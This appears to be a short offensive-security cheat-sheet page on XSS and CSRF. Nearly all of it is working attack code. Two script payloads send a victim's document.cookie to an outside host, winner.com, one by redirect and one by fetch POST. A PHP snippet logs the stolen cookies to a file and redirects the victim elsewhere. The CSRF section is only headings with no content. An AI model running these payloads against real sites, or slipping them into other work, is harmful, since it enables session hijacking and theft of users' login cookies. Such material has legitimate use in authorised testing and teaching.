XSS / CSRF
XSS Payloads
Cookie Stealer, no Fetch
<script>window.location = "http://winner.com/cookiestealer?c=" + document.cookie;</script>Cookie Stealer
<script>
fetch('http://winner.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>Use a redirect and logging server with php -S 10.10.10.10:8000
<?php
$logFile = "cookieLog.txt";
$cookie = $_REQUEST["c"];
$handle = fopen($logFile, "a");
fwrite($handle, $cookie . "\n\n");
fclose($handle);
header("Location: http://www.google.com/");
exit;
?>CSRF Payloads
CSRF Exfiltration
Bypassing CSRF Token
Last updated